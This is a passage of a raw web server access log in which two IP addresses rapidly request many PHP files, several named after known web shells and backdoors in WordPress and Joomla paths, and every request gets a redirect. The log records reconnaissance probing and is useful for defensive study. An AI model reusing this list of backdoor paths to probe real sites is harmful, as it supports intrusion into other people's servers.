AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:36 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:36 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:37 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:37 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:37 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:37 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:38 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:38 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:38 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:38 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:39 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:39 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:39 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 